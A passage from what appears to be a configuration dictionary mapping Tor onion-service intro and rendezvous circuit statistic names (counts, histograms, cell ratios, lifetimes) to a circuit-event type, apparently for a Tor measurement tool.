'Intro3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro3MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendCircuitCount' : { CIRCUIT_EVENT },
'RendCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendCircuitLifeTime' : { CIRCUIT_EVENT },
'RendFailureCircuitCount' : { CIRCUIT_EVENT },
'RendFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveCircuitCount' : { CIRCUIT_EVENT },
'RendActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientCircuitCount' : { CIRCUIT_EVENT },
'RendClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'RendClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceCircuitCount' : { CIRCUIT_EVENT },
'RendServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'RendServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'RendServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
